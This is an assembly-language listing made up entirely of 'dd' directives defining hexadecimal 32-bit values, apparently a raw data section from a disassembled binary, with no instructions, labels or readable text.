dd 0D82917EAh, 0C50C97F3h, 288A3C63h, 0ADDD06C3h, 10898737h
dd 3BD2CE03h, 808DBC0Dh, 4814971Bh, 0C726106Bh, 0D74A0084h
dd 0D3288838h, 17350503h, 87D2B909h, 90BA07A0h, 0ED9C005Ch
dd 38FD9789h, 6200F272h, 23EB7F30h, 12CD8A79h, 6A5132h
dd 12D2FE1Eh, 980339D6h, 1DFF283h, 0E666A8A7h, 9CC3002Dh
dd 93BB13BCh, 0A1006275h, 11C760E3h, 13B1AE7Eh, 0C0367C3Ch
dd 76EEF2D4h, 124064Ch, 4631E383h, 26DC11BCh, 0EFEA0096h
dd 84941CD5h, 0C93FAC45h, 0B4071E7Dh, 275081C0h, 3582622h
dd 0DC3A2303h, 0EDB06DECh, 0E817EE38h, 0F8D07EF8h, 7D9AAB2h
dd 7D34181Fh, 7BB190B3h, 502E849h, 50968AC5h, 6A74E075h
dd 24500ADh, 3379DA38h, 0A33BC48Fh, 0BC1B8116h, 61BACDA4h
dd 5F028C78h, 7F47FC13h, 734C5878h, 9A0E7E1Ch, 604FBB5Ah
dd 7EF1719Eh, 0EBF93B45h
dd 7D386D01h, 0D057E76Bh, 0C600901Ah, 8FC51F5Ah, 253258h
dd 0EE7AFA96h, 0C2CFE2BFh, 44F43900h, 20A317E6h, 0F00E006Ch
dd 563A688Fh, 82004DAFh, 6DFFAC66h, 2D4C53Dh, 0EB1B0215h
dd 41BB46h, 0FDFA60D3h, 80E3143Dh, 5ECAF4E0h, 0D80B8Fh
dd 1055071Ah, 76469D58h, 2ECE3300h, 0AAB85212h, 0F413EC8Eh
dd 0F893006Fh, 0C7956C46h, 911E0FA1h, 0AE44FB10h, 1EC3B6D3h
dd 9A709822h, 0ACBB4C29h, 5D7057Ah, 813E0139h, 346BB580h
dd 1C4C1A58h, 4747CF50h, 6A0E129h, 1F0DD7A2h, 407C13A6h
dd 0A8AA09DDh, 0F700AB20h, 5B659629h, 0E65166h, 767D2490h
dd 3B33BEEFh, 0A435AE0Eh, 55DD61ADh, 0A4207528h, 96FA00D2h
dd 91F662B1h, 6400B05Eh, 0A8951752h, 98FD399Ah, 790700DEh
dd 0CC86188Eh, 131FC0E0h, 7D80A0BAh, 514023FFh, 0AB3D282Eh
dd 212D00F8h, 81C274BDh, 0DD003AF4h, 93919947h, 0F808F9Eh
dd 24AACF5Eh, 6D38D960h, 71005522h, 966E0F67h, 65E54AEh
dd 30B1FA02h, 0E55BB62Eh, 2C09F800h, 9CA81A8Dh, 27DD019Ch
dd 299015D1h, 0CEA20124h, 0AEB1BFFBh, 0DA65A440h, 0FCAA1370h
dd 7E40162h, 68308BF4h, 0A7007EA4h, 96164447h, 33D1EF5h
dd 0FF60053Fh, 3C886A4Eh, 4F49ACF1h, 0EB88005Ch, 5AD1682Dh
dd 7FB71E53h, 77D28078h, 75C8BF63h, 19AC900h, 0E7A02CBEh
dd 84CA1480h, 171E8F76h, 0A2FD4045h, 72DA1E7Ah, 0C4F15A28h
dd 6D9C1D02h, 0F08D2EDEh, 0D5390198h, 680137F2h, 484AE05Dh
dd 2280FDE9h, 21A68FA0h, 0DDB7E171h, 61D2F440h, 0BD970088h
dd 0BB81C822h, 847616F1h, 531C63Fh, 65FBE2E7h, 5A6AA8D0h
dd 0A0940E5Dh, 0D804DBEh, 0BA98EB80h, 3335181Fh, 139F4581h
dd 6620251Eh, 0E5FABEh, 6CFFA966h, 0FA27904Ch, 61C69C00h
dd 0BA9EE351h, 84780741h, 0C06305F4h, 0AD87DD7Ch, 74A0C700h
dd 81E5A88Eh, 770D000Ah, 241E394h, 0B7005A53h, 9838D34Ah
dd 87B99Dh, 0BF23A65Fh, 8F7B2C4Eh, 33CF200h, 0F40E2D75h
dd 32BC40h, 0FA5FCA9Dh, 0A700172Fh, 0E6F04295h, 3AEA4648h
dd 24488945h, 1006548h, 7B8735A3h, 6000C99Fh, 0F86836B6h
dd 0DED196h, 66583CFh, 0A4FF4A3Eh, 91AD6E00h, 465F0C78h
dd 3C09E12h, 8A3B1D13h, 4323AFB8h, 8E8C1900h, 2FF4F981h
dd 0B7135865h, 1B469100h, 7EC5E0Ch, 0D00D9300h, 0EF198310h
dd 4029003Eh, 0CF31F3FEh, 1D395262h, 0B04B8006h, 0E359046Ah
dd 7BA4A51h, 0CB6F437Ch, 7B898420h, 55026EEFh, 0D25195D8h
dd 0B3FF43D7h, 0E272E092h, 8F400BF6h, 4D80DC50h, 206BA030h
dd 31187A00h, 0F010DA9Eh, 255E845h, 73F88886h, 28716993h
dd 30363806h, 672AE778h, 76DEC078h, 6A50A2C6h, 0B9003084h
dd 0BC5E515h, 19DC04h, 69AABA0Ah, 0F25718EDh, 5E000C78h
dd 0C91E9255h, 0E83F393Ah, 28CE244h, 63FB605Dh, 0DB814267h
dd 0C45A2C59h, 71000AD9h, 1DE2CA95h, 0A4F3F2Dh, 0C90DF1ECh
dd 83116084h, 320270F4h, 0B36063C7h, 8FA460BCh, 0D9B7082Fh
dd 670942F0h, 0E6507011h, 7CA49817h, 963D05DAh, 0F15773A2h
dd 0F4B8ED44h, 9500B579h, 0C91E236h, 855E0Bh, 15664893h
dd 9AFA0D57h, 0F6C6BA00h, 68D21A5Ah, 5F910734h, 10DDAB8Ah
dd 0DF8EBD51h, 0A856CCE3h, 0DB1AE403h, 0F8AA3611h, 4FB525B6h
dd 0D0D0049Eh, 0C2D1402Ch, 2D4031h, 5C9BC424h, 0AFE7BB14h
dd 0A9324C07h, 0B9C07B05h, 306D3F73h, 35515778h, 7000E6BDh
dd 4303E961h, 0F13079h, 21F03EFFh, 26A3B9B4h, 0CD005DF0h
dd 0B6F6EA58h, 0FAF73h, 0E6F11FC7h, 69BAE121h, 9275BE02h
dd 7874F055h, 0B88C0078h, 5D12075Eh, 6F00171Dh, 15790C4Fh
dd 3C6B30EEh, 5A0020F5h, 0A44290C2h, 9BEA3E8Dh, 8BFC3C09h
dd 60840741h, 0F9C4C54Eh, 0C8400680h, 76777EDh, 26B150D2h
dd 700079FDh, 922E6A22h, 32843E01h, 78C537E3h, 87DC20h
dd 0F2F9924h, 0E1D893BEh, 62129225h, 98936018h, 5B5200DAh
dd 19D9F17h, 6107A3FBh, 2AA8AF2h, 59E2AFC0h, 1C80978Ch
dd 929045E9h, 8176F500h, 3B3C1433h, 60EBF2h, 0ADE67Ah
dd 0E69BE3F9h, 9D8AF3B0h, 0DE072400h, 0C0FF7CC8h, 16D700AEh
dd 666ADB94h, 59504D4Ah, 0B7004994h, 3ADC64Ch, 238FC9Bh
dd 711180E1h, 78EC6C53h, 699DFE0Fh, 0C0C74FF1h, 5DF76321h
dd 0D43A6038h, 0BC2C3196h, 97EDB700h, 4F70CA02h, 3BC50093h
dd 0CE1D74D9h, 0B04813EFh, 5E060038h, 0BD6FF533h, 0E2BC007Bh
dd 17DB6E2Fh, 0C000FEC2h, 4B5FD14Ah, 0E68149h, 0CF3F2545h
dd 0B918CB3Eh, 0B327F000h, 7090DDDAh, 0A6310012h, 36ADD77Ah
dd 0E600FF5Bh, 8C1C77F5h, 279D27Ch, 2A4370F2h, 1C4085BBh
dd 0FC004F06h, 0C57C1DCBh, 4AECF9h, 852EDB36h, 0E24EB937h
dd 5BAA2307h, 0DF31C112h, 943413A4h, 2FB900BBh, 0CBF3A5B3h
dd 1A006D99h, 5614E6A1h, 27E965AEh, 20C0EF32h, 0B023FFAh
dd 9F225AD2h, 493606Bh, 345700F8h, 58E2CC41h, 0D00F3DCh
dd 0DBF18AB3h, 0F51F24h, 0A225C628h, 0EC73342Ah, 6B0DAA00h
dd 5A943CAEh, 0F0F200ABh, 0EF7D475Fh, 0C300B41Dh, 7F3958E4h
dd 0FA5E34h, 0CBDD45D1h, 302667D3h, 4F858499h, 0A4B09D04h
dd 0EEB11F33h, 9991401Eh, 0B7A5CC37h, 2EE38700h, 8E2A35DCh
dd 0D5D20339h, 90639D97h, 0A5B4BEA0h, 13C4B100h, 0BF5EB9BCh
dd 701400AEh, 646C397Fh, 4C00D072h, 82BD3C4Eh, 32B558h
dd 94F4E77Ch, 3F6D4A30h, 5700D0EAh, 0FB3624D9h, 981974h
dd 0A5CF1C39h, 5E7EDCEAh, 6D05C000h, 2237936Ah, 8A492E5Dh
dd 0FD3500BCh, 3943F161h, 0B49D4C03h, 0BF83294Bh, 0B11C014Bh
dd 8DE5AEC3h, 26881460h, 800C564Eh, 5AEB7E79h, 0E902CE40h
dd 16DDEF58h, 0B7A060A7h, 7BAD0F29h, 0E0206CA9h, 84716B8Dh
dd 965FC301h, 982BC470h, 0A4F670h, 214CC802h, 0B469282Eh
dd 3C04DCFCh, 8CF4788Bh, 0D5A54C0h, 0F52400F0h, 19DEE766h
dd 71001257h, 0D12311D9h, 0E4304FCFh, 9A4E0049h, 0BB59A94Bh
dd 80075E52h, 0D7C935B4h, 39E05041h, 0DB71E4h, 0A8303A89h
dd 6C478890h, 282A4500h, 9F1E3B82h, 260C0483h, 0C0278912h
dd 0E2B15F0Bh, 0D1F9426h, 0D702C00h, 54F15AAh, 5D49CCF9h
dd 0B94483A1h, 0F0DF1FD9h, 2000AD4h, 4EFE541Bh, 1BE71A3h
dd 0FF1C9405h, 8C7E5918h, 0E0FABB78h, 0B3E100BFh, 0F61FD9F2h
dd 25052EFDh, 0C1428114h, 38B908C0h, 0E1A60071h, 974EF5EFh
dd 0B13F1605h, 0AE07BC5Eh, 0B0082FEh, 904806CAh, 50C500EBh
dd 0A16337D4h, 0AB25145Dh, 6698807Ch, 34AAD39h, 0C46ECAA8h
dd 0E5FAB1BCh, 7637C068h, 0F248B81Fh, 1BB079Fh, 884B680Ch
dd 34CC8C79h, 0CFB809h, 86FCD90Fh, 0B20C1F95h, 182201Fh
dd 0EDB04FC0h, 0E78825h, 7269FE0h, 5349EBC9h, 56209D00h
dd 7F0F4672h, 0CD6F3D28h, 0E97710E1h, 8E4270D2h, 2B53171h
dd 89E4BD18h, 0ED880F3h, 67697Dh, 0D084150Ah, 9D0BB229h
dd 3E578200h, 5FFF854h, 555A0703h, 0A0DAC9C7h, 4C14EC4h
dd 3844B302h, 68A83B1Eh, 12A724h, 1A51B74Dh, 7D250BE4h
dd 2CC7F203h, 642B1DFh, 0AB6CAE80h, 670E700Eh, 0CF18A660h
dd 0A1348C91h, 0B13C00F5h, 9348D6D9h, 6600C9D0h, 0F716CAB2h
dd 0E01F9Eh, 1991558Ah, 0DA3A0253h, 444CD600h, 0FB62CDF3h
dd 0AB700028h, 5C9FC4A8h, 0D40013BAh, 0A7A3AEB7h, 0B976A2h
dd 0A90184E2h, 105477BCh
dd 66BA0F00h, 0A0A2C247h, 232800F3h, 78DBAD7Ah, 0E100363Dh
dd 54DC1E08h, 7B32608Ah, 0F9CB005Ah, 0EA39EB07h, 6D00F7D6h
dd 36DAD422h, 6B7B03h, 89E96ED9h, 9A547409h, 0DD074600h
dd 7923F249h, 94EE00BDh, 42FDA6B9h, 0F50F6057h, 81B63CF0h
dd 0AB1073B7h, 3528320h, 0BE2A87A2h, 74C07E72h, 8E0025E6h
dd 7A39D6AAh, 0B7DA11h, 82180B1Fh, 0BA6CC38Ch, 1B087718h
dd 4CBEAA10h, 29167D31h, 0BF9840BCh, 88189E4Ch, 35A9BD0Eh
dd 0D4EE60ECh, 4C790F32h, 450EC02Ch, 78031BE7h, 1282138Fh
dd 27D41440h, 86EB0400h, 2825063Eh, 0AE9B00EFh, 0A33A81FDh
dd 0A4002E32h, 0B2DF2674h, 0B06309B0h, 1FD0061Bh, 40E934BFh
dd 672B371Ch, 128DA780h, 16E9248h, 5209EEB5h, 0CA30286Ah
dd 5A005044h, 9F1A0CBBh, 92A1F93h, 0A74AF6CCh, 4EBE1400h
dd 0A24F8E01h, 13387C00h, 9F4D92h, 9B1A0D2h, 0C7D68B43h
dd 0AF1E601h, 721B2B3Ah, 0BAA45980h, 7D629729h, 284D6801h
dd 3D469463h, 902DD1FCh, 6E2C0084h, 76F96619h, 5901413Ah
dd 0B5E7F35Dh, 0C0F8A367h, 509817CBh, 0C6D500FEh, 6C229D64h
dd 0ADC73000h, 0E53D743Eh, 0D7AA3080h, 33CF43E0h, 0E994FE00h
dd 5F2885DDh, 26E4E2C4h, 214ACE6h, 0C9A8F556h, 0EFAB1040h
dd 8D00509Ch, 0B30B4AAAh, 0C3747A14h, 8E3BA7F1h, 0DC2DA0DEh
dd 808C428Ah, 0EABC7708h, 3E7E1485h, 0C8082C72h, 0A308D7CDh
dd 1A26413Fh, 51C200D1h, 0E6E08B11h, 0DD10123Dh, 6780E52Eh
dd 7E820C15h, 0C5B7A21h, 7B19270h, 207D5342h, 0AE28AFE0h
dd 92422CE1h, 0F026A208h, 0EB65FF86h, 81643B0h, 15C1BE3Ch
dd 2A182CBBh, 1A745089h, 0D42CE651h, 84A0676Ah, 2CA039C6h
dd 84A8C1DBh, 0FCA870D2h, 5899B0BAh, 0E00FE1Dh, 794B2B3Ch
dd 30980Ah, 0DC51E588h, 0BC5BC60Fh, 3699EE03h, 8C91C0h
dd 854AA478h, 0E4316E86h, 0D3C380C0h, 30D7DA38h, 1870C452h
dd 0AB00C82Ah, 5EFBDC8Dh, 736733Eh, 0BE7B39FEh, 0E6F3C33Bh
dd 80827D81h, 0FF12A230h, 738CFC0h, 5AA67894h, 0E11B57Bh
dd 0FA00597Ch, 7ED6E4D2h, 762DE300h, 0F9B3C5F2h, 0F5FE01FCh
dd 28097BB1h, 95A7E020h, 96B9590Fh, 0FC05D3F0h, 8C40C8E0h
dd 57805FB4h, 216A00A8h, 0DF59B1A1h, 2C0095B7h, 69A6ED02h
dd 16BE4475h, 408C7E84h, 59DB8A60h, 8800D8D9h, 0B0DF5850h
dd 9A645Ah, 3C4DB4E0h, 1ED02584h, 72BD1A00h, 0CC75B3B7h
dd 3CF158B8h, 0E75D809Dh, 0F81EAC3Ah, 0C56B58h, 41C88D84h
dd 51D539Eh, 0ACDD9F10h, 76D04F23h, 17F182C0h, 0F67FB55Eh
dd 661A0B00h, 57E84BABh, 0F028C99Bh, 886AE4E8h, 0ABF4460Eh
dd 555F406Fh, 87CAA9h, 0FE798124h, 0B746C903h, 0C5335300h
dd 0F58D23A4h, 0DF2702F3h, 0F7308696h, 0D356E0D5h, 0F05F00F4h
dd 2B3DD75Bh, 0AD00D6EFh, 0F680408Dh, 2EB631EAh, 62623BDh
dd 1007A0ACh, 0B0049457h, 0ECC9D3h, 340F7837h, 0DF2A426Dh
dd 0AC111700h, 4CA14FEEh, 0BE200048h, 6D530E28h, 1C308956h
dd 0AFBB286Eh, 3EEE0085h, 0FE1BC986h, 0D307489Ah, 9B1D6D9Ch
dd 2B03C2F0h, 0F78306FBh, 0CE7884B3h, 0C5A23001h, 0F4ECCDD3h
dd 0B7EC30h, 2D630CB6h, 0E54ECB5Ah, 0D19DC900h, 76C45CA6h
dd 0A21E015Dh, 0C35F6D46h, 0A43DE0DDh, 0B8BE1C00h, 27C65A77h
dd 0DEB9007Ch, 61C3E109h, 0FE0C531Ah, 80417FE0h, 35570140h
dd 12CCC7CFh, 4C22C49Fh, 145BCE00h, 58866738h, 83440049h
dd 0A6204E84h, 0D30066B5h, 4DEECEC4h, 4B858Dh, 563E1AE1h
dd 130B8858h, 0E3EADA00h, 0C34C94BBh, 0C7E2CEh, 731C7C85h
dd 975D546Eh, 1DBA4800h, 0C8D58A13h, 12D0017h, 0A4BB8F59h
dd 26009541h, 5845EF97h, 0B45DC2h, 0FF359A68h, 1193B27Dh
dd 8E05291Eh, 54B7AB00h, 0F67A4CBh, 0F11D9173h, 0B45F0BA0h
dd 201C2F93h, 0CE4759DAh, 0FB07C49h, 39366D4Dh, 61004F79h
dd 2D9C9121h, 7800987Bh, 824A9FD0h, 252BADEh, 868AFEFFh
dd 0C402DB0h, 5900D332h, 0CE3F2738h, 8273CFh, 0A2DAA021h
dd 0F0FAFDEAh, 0E5B1C800h, 5C6D1FEFh, 0A14D00ABh, 2A7E4699h
dd 0BA004ED0h, 0BEC265C1h, 0BF8441h, 8D6A3720h, 229AB433h
dd 142E6200h, 536D54E0h, 158F00FBh, 0AB0CF8Ch, 4C04315Ah
dd 84449278h, 93F78FC0h, 6DEB0081h, 1A66FECFh, 6207C365h
dd 0BE0E2B43h, 16C0E037h, 0B84C4FD4h, 0B3FF0119h, 326C0D4Ah
dd 0F083E0FCh, 0DEAE2B27h, 0B62C0047h, 1110AFE8h, 0E780D900h
dd 0CEEB665Fh, 2E3D0017h, 67482824h, 75079FBAh, 23376485h
dd 1B74FBB0h, 0C2BFC8Fh, 0AFD76D79h, 9E586EFEh, 589C00A9h
dd 9018E2B7h, 91C1094Ch, 54001A08h, 0F573272Bh, 9A00367Bh
dd 85A6013Bh, 0BA76EAh, 0B1E81C43h, 401007F4h, 4EBC3207h
dd 0F840DF55h, 0A7B88h, 0B55DD1ECh, 0BBF7D73Ah, 74524B00h
dd 0D30C75ACh, 47493DDAh, 27E000FEh, 3236B351h, 450F97B5h
dd 10EB0CE4h, 0C0D19B1Fh, 8817664Ah, 34003905h, 797C8D3h
dd 0D80690h, 5E0BE16Fh, 0CDD4FD60h, 0FE6AAB01h, 0A3741D0Eh
dd 3C6FFCD4h, 0D8805149h, 96507AAEh, 22034A31h, 8F01FFCBh
dd 37AA80F8h, 0C569092Dh, 58A3F354h, 0F588D37Fh, 1D1546B5h
dd 808828B4h, 0EAA85C77h, 19D700ACh, 0D4A12051h, 960E4826h
dd 4FC3F6FBh, 0AD3E439Bh, 9E18002Fh, 941245B5h, 0C7005EA8h
dd 5DA79CC2h, 36B592Ch, 0D82753FFh, 0B4C0CBCFh, 93C6676h
dd 78388750h, 46906507h, 13019Bh, 30E38190h, 9CAFA1FCh
dd 0BDB99F00h, 53C443EBh, 7DBB0350h, 88D3069Bh, 137CA2B0h
dd 0C18AF500h, 52CAE29Fh, 4CEA004Eh, 6D38B81Bh, 0F812E7BFh
dd 0CF03FE3Ch, 90F9A006h, 1B44E3h, 8EED4534h, 908F1E13h
dd 7DAB9200h, 225FF76h, 79301E1h, 3C7BB8D4h, 9448C4C3h
dd 0FD122200h, 0DF03EB40h, 74CF0009h, 245270E6h, 6E036B95h
dd 89E79964h, 89D8DA26h, 0B8A83E8h, 1B100023h, 990F9D01h
dd 8A002A91h, 0D968623Ah, 6F4F46h, 4823B656h, 0BB3C1913h
dd 9D58AEB8h, 396500F2h, 0E3D208BCh, 710F00E2h, 82BDC2BFh
dd 850074A6h, 64598136h, 2ED3F8h, 69E6EBB2h, 0B6C482AEh
dd 3155BF0Eh, 0B44600BCh, 39AD5Dh, 1653CDD2h, 0E80E48EBh
dd 0B0F0800h, 3BB894A6h, 39DD176Ah, 337CE086h, 0FF16E00Fh
dd 0C73121B4h, 0C4304C84h, 762A1FACh, 0C0019EABh, 7F9E675Fh
dd 0CF3BC93Fh, 0ACFE809Bh, 392B4B0Ah, 0A9CA0085h, 5B93D655h
dd 22143B77h, 489864B7h, 690201C8h, 93B1A24Bh, 0F91DCCCh
dd 1A50A53Eh, 92334CE0h, 0C13A44F9h, 0CCE18088h, 0C78C7796h
dd 84FAE2h, 0B2ED58F2h, 220E68B7h, 1C8E2800h, 2BD3AB91h
dd 0A0DB00F5h, 76EECCD9h, 0EAB0CF03h, 95483BE6h, 9FA0E88h
dd 8F4760D3h, 167DB12h, 80D43065h, 0CE3BCDB5h, 1A0FF5h
dd 0B06DCF28h, 4D2000F2h, 9477C92Ah, 0EEE6AD86h, 817EAC01h
dd 9B6A3A03h, 0BC046C8h, 0CF1E02Eh, 0F808EA01h, 7BB8FBB2h
dd 4905C4E9h, 984FDAEAh, 16361000h, 8311BDh, 0C212A07Eh
dd 0F3EB1586h, 469E242Ch, 4D5BD500h, 4261B9h, 5AEE7CAh
dd 11B799A5h, 695EC900h, 2D3021C1h, 4F3C00A0h, 0E153E6F3h
dd 0A7002C9Ch, 6C470426h, 32BCCA9h, 8C6B7B80h, 78D0195Bh
dd 0E5E0FD5Fh, 7600CC92h, 0CEC2DDBDh, 0E65CB468h, 0C5C8004Fh
dd 0BBC103E0h, 4E0ED811h, 0A030EC66h, 0B6ABDA9Dh, 69ED3D7Bh
dd 7027DC80h, 39F2608Ah
dd 7F3C7800h, 256D6368h, 820500E1h, 0C3D95081h, 5D7B1BB3h
dd 18911E00h, 0A6C66DDCh, 0D3640038h, 0C37AA9D0h, 9500D909h
dd 0BF2CA5CDh, 0F145CD1h, 792C6FAh, 572B610Fh, 1A854700h
dd 0D270AC26h, 179A6900h, 0DF6004C0h, 0B4D0759h, 0D09F1A30h
dd 0ABA8B264h, 0F288D800h, 0ADD5A655h, 52ED000Dh, 0D3034B06h
dd 9D30E144h, 0B372C13h, 0B0470076h, 66C39F95h, 8E0019F4h
dd 0E9BF05C9h, 504224CEh, 3E379C36h, 878173F3h, 7C515B70h
dd 64B2611Eh, 8F1E8AF8h, 36C3F54Bh, 0D2B463Bh, 0EBD62819h
dd 96F6E0D0h, 30F5401h, 6E2E096Bh, 71D8930h, 0FA884233h
dd 0D34C5093h, 4700BBFEh, 2A68C37Bh, 761FE5h, 7E45820Eh
dd 0AC992251h, 0AA8880C0h, 0C22358h, 3EE92FA2h, 54F690E3h
dd 0DB709D00h, 344FC0F5h, 3B1C0429h, 0BEAA8A69h, 0E7AB11C0h
dd 0C275A1h, 5E490878h, 7DA46167h, 98424A00h, 57D66B8Ch
dd 0FF1B006Ch, 85C91A93h, 0DD00299Ch, 0B790635Ch, 3DF8949h
dd 73A82A54h, 30D0B1E9h, 0E007D134h, 31E42B84h, 1ACEEEh
dd 0BB6F92D6h, 601300ACh, 0D2CCB2B7h, 5B03F5A3h, 0F9D60EC6h
dd 2C2DB8BAh, 0A19E3D29h, 9984EF80h, 0E7AF72FDh, 0E0B58FF6h
dd 56C09Ch, 0B0BEA6BBh, 203C30DBh, 7B178978h, 3C0119D9h
dd 0A8D034BDh, 0C3BBBD0h, 6B25E4DEh, 21C01A08h, 10A3E392h
dd 22EF03C9h, 20493BAFh, 0B80858DEh, 31BC69h, 0BD5A561Bh
dd 2A2EA07Ch, 0B009592Ch, 0B6080037h, 303E8F53h, 1D113DE2h
dd 1600EEC8h, 17525963h, 0EECAE050h, 209B60A5h, 70EEDD36h
dd 14DF0400h, 0CA739D83h, 745700D5h, 231E029Bh, 0C118F3A6h
dd 9478770Bh, 967907h, 41CB3B61h, 86EFD8E0h, 6F25774h
dd 77017498h, 9F9A0419h, 18E4527Ch, 0C28C3DA0h, 0A4C66E80h
dd 55FC158Dh, 27245A75h, 0A7804C34h, 7CDC7DDAh, 3321EC57h
dd 12085B23h, 0EA472100h, 0EC142D7Dh, 705E6BEh, 268F5072h
dd 0FE42B0A8h, 0D50768AFh, 0B699C6D6h, 0CEE26560h, 0E9D20EDCh
dd 2C80F9E0h, 0BD1133DAh, 0B2DEB503h, 0C98D788Ch, 1ED06102h
dd 12400075h, 0E7568645h, 98508CC2h, 0CB1284F1h, 26008821h
dd 0F575222Ch, 0AED70035h, 0AB7E67FFh, 0C005EFDDh, 0D88280A0h
dd 830373C0h, 52E500C7h, 774AA25Fh, 7001BB1Dh, 99FE5A8Eh
dd 488013A9h, 0A44E84D5h, 6D07E946h, 665FAA41h, 8FBE90C0h
dd 18E070C9h, 0A0D5C0F0h, 89008B92h, 631C1BA2h, 3E2458Dh
dd 17BBF25Ah, 0A4E2F574h, 34C0FB40h, 0EE358518h, 306A6838h
dd 4080FA39h, 6F03DDEDh, 0A4DBBCE5h, 817CB32Ah, 0BD30B028h
dd 320F30C0h, 0B9431439h, 0CF3CF006h, 3C124088h, 0B6BDA1AFh
dd 2DC3DFDh, 6A74CE80h, 0ED34AA5Bh, 24A9AB1Ch, 6F830500h
dd 42A857h, 2A952EBBh, 43218EF5h, 0BAFE11C5h, 0AF030420h
dd 0FF511250h, 79860365h, 7F980C36h, 0CB0058F3h, 0E63F2167h
dd 76C8BA0Ah, 0A53500B6h, 0BF28CF61h, 1C0079F9h, 17A05492h
dd 486321h, 6E745215h, 7B0A6573h, 69DF4600h, 7510D997h
dd 4B9B00C6h, 33173876h, 0A50085D7h, 5DFFB246h, 1D1ED2B3h
dd 7DEF70AEh, 0C7419C00h, 0C2F9C329h, 25431300h, 0DE94CB65h
dd 0D1DA00F0h, 8C090B62h, 7609D0E0h, 80672BC8h, 54ACC3F2h
dd 51E301EFh, 47463A69h, 0FE85E0B9h, 65001EFEh, 0B4FC72A9h
dd 5123B1h, 0F790FFC3h, 7C52DD5Dh, 8FCA3803h, 0D8C6C8E3h
dd 7F46E8h, 84182296h, 4F0D0A28h, 39873105h, 0FDC0DA1Dh
dd 73C1BB40h, 32A80053h, 2C1EFD0Eh, 0F9E0E955h, 624F9E00h
dd 7571FEAAh, 0D6DF1E7Eh, 0E6D8082h, 0FF4D84CFh, 0F2C3BA02h
dd 0C0B7F629h, 7EFBFFh, 821E3139h, 15E2188h, 0BD07DF7Fh
dd 1F4ACE10h, 0C71719C0h, 72A6E2A7h, 69361FF9h, 0B228C096h
dd 1D7D481Eh, 0C30B630Bh, 7190044h, 3824E414h, 0E93F9C0Ah
dd 0D27F3580h, 0F4BAA9A2h, 0A8155628h, 94590E00h, 186A2BD6h
dd 0F898003Ch, 70BE40EAh, 0D100D0A3h, 521DDCC6h, 0EF8AE6h
dd 7A516FBAh, 2E90DE5Ch, 4514367Eh, 0E8CAACAh, 0C089BAF5h
dd 0B6CDDB41h, 188B075Ah, 0A0C58524h, 5C8E227Ah, 3C12A800h
dd 0C251AA6h, 311800F9h, 66E75F14h, 6C00162Fh, 0FCE2F2E9h
dd 50FDDCh, 6B0F5E61h, 53CB5D06h, 0A836240Fh, 0EE1C601Dh
dd 78205A7Dh, 52780038h, 0BD9A1807h, 0BF281A76h, 3E07B8D6h
dd 673520F1h, 341D0E20h, 0E8730E26h, 592075F0h, 9B5EFBDEh
dd 6579B82Ch, 2C3E0900h, 0E01F96h, 0BF1470FFh, 4213F407h
dd 0F7F8DCE0h, 610704B8h, 3C6C283Eh, 30691870h, 0C838005Ch
dd 73E69565h, 0FA7E1098h, 419D681Dh, 0FE5575C0h, 2FC55Dh
dd 63A3FB2Bh, 0ABFD52ADh, 49260C92h, 0E8006130h, 6D86C52Bh
dd 7AB3009Eh, 68364312h, 0F000FFB0h, 0DB1D47B4h, 4A06E6h
dd 0CF5DD1A4h, 413EDEFDh, 0AC497503h, 0F8239A61h, 88922Fh
dd 6F274EDCh, 84F7C820h, 33E239h, 7EE38223h, 8A9B53h, 0B1A8F991h
dd 3CF49226h, 3B783A3Ah, 0A9B3805Dh, 0D4F56983h, 0D5B50012h
dd 0C850C1BEh, 153C7AADh, 5D56806Eh, 0ECF2DB59h, 51F131B1h
dd 0C8D4B610h, 0E2001090h, 35A77319h, 0A1F895h, 6796858Bh
dd 0E6757FD2h, 0BB8A9D00h, 0A897D613h, 65E000CDh, 9F4882D7h
dd 0F90E0E62h, 6010098Eh, 41F0ABA1h, 0E4F1009Ah, 0BB9A31Dh
dd 0F9007066h, 15AAB186h, 3D36C1Ah, 77D01772h, 8094D620h
dd 0DE7A2F50h, 5C56840Bh, 7B0505AEh, 8EF4C800h, 7791D280h
dd 0C41300A8h, 0A5D5D13Ch, 48005CB8h, 0F67C0FCBh, 8283C6h
dd 0C99415ACh, 0B2A51E91h, 0CE3C3F00h, 7F379088h, 156B4C7Eh
dd 0F65BCD0Fh, 63E3A00h, 0CB00D954h, 0F1EF161h, 0AC8AE3h
dd 39550A80h, 2F97F9FFh, 95166D02h, 402ADB0Dh, 7BF8BE1Bh
dd 0A38B0078h, 0E75C88Dh, 0FA0EB3A4h, 40CC2A16h, 0B16C45E1h
dd 0B67AEAh, 82200225h, 8738562h, 48FC777Ah, 0F9DCE80Fh
dd 9E95A099h, 4934FCh, 0D8058D79h, 87200985h, 3988C901h
dd 0A6D9AA8Ah, 0F8D5D7ECh, 6030E2CBh, 0DBF89846h, 997BFBF6h
dd 0D3AACBA0h, 20EB2C00h, 74DAA8AFh, 18D700DEh, 0FD3D305Fh
dd 4400D18Fh, 847F0CE2h, 769C04h, 8EFC5868h, 7CDF98C9h
dd 0CB499407h, 83B0FEF5h, 0B43413h, 0A35A2007h, 7617E6A5h
dd 0E3009070h, 0C1B0E48Bh, 63D5BDh, 489E87A4h, 8053CCC4h
dd 7D0584FCh, 0D4645BD7h, 9CFE0C0h, 524A07DDh, 0A054A0AFh
dd 6E6CE0B3h, 81D32700h, 0CDCEDF06h, 93FE1Ch, 0FDB0C5ECh
dd 6A65C70Dh, 73E8820Fh, 2DA52029h, 0F343EEh, 0DBB79FA3h
dd 0CB5A8698h, 0D6628800h, 0F6F4F848h, 72C30FFFh, 0C2202899h
dd 87501F09h, 0BAF0E100h, 6FE75DD2h, 454F1DCFh, 5CDDB8h
dd 4A77E489h, 1C00A2E2h, 2182393Dh, 72BA173Bh, 306F0CFh
dd 36F43399h, 7080EE4Fh, 90091F1h, 496C15BCh, 33C4AC48h
dd 176EE860h, 0C29C1400h, 0EE27DAD1h, 7B3605E3h, 8C7390EFh
dd 770023A0h, 0BBD2A88Eh, 43B68E4h, 57B493EAh, 0DD9B8290h
dd 0E2E868E3h, 0DC1378BAh, 1FBFCF80h, 0B83A4007h, 276FAEE7h
dd 5494D200h, 3043E663h, 0A03F240Eh, 3EFE0114h, 0D059AE77h
dd 0FA008CF5h, 76B5E555h, 0C0371F2Ah, 7FCD539Ch, 80001D40h
dd 5B650675h, 0EB1AD2h, 87348992h, 2A71B4E5h, 0DBA41600h
dd 0B7B0DC8Bh, 0DE9F01FDh, 6C43CA83h, 0E37074D5h, 0BE2FED00h
dd 7B1A524Dh, 0D4AB5815h, 3D80BA00h, 2047E35Eh, 521010C0h
dd 31FA54Fh
